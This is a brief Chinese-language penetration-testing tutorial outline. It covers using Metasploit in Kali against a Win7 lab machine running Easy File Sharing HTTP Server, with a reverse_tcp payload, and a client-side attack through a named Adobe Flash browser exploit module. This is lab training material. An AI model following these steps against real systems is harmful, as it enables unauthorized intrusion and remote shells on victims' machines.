kali渗透测试——渗透攻击（软件、客户端）

（3）利用Metasploit对软件发起攻击
（4）利用Metasploit对客户端发起攻击
（5）使用Metasploit对Web应用攻击

（3）使用Metasploit对软件发起攻击

使用带有简单文件共享HTTP服务器(Easy File Sharing HTTP Server)的Win7靶机

使用search EasyFileSharing命令搜索
使用use选择使用模块
show options查看需要设置的参数
使用set payload revers_tcp设置攻击载荷
设置目标主机IP、攻击主机IP、目标主机端口号、执行

（4）使用Metasploit对客户端发起攻击

利用浏览器插件漏洞
Adobe Flash Player插件
首先进行搜索，search abode_flash

使用模块use exploit/multi/browser/adobe_flash_hacking_team_uaf

run执行，会出现一个URL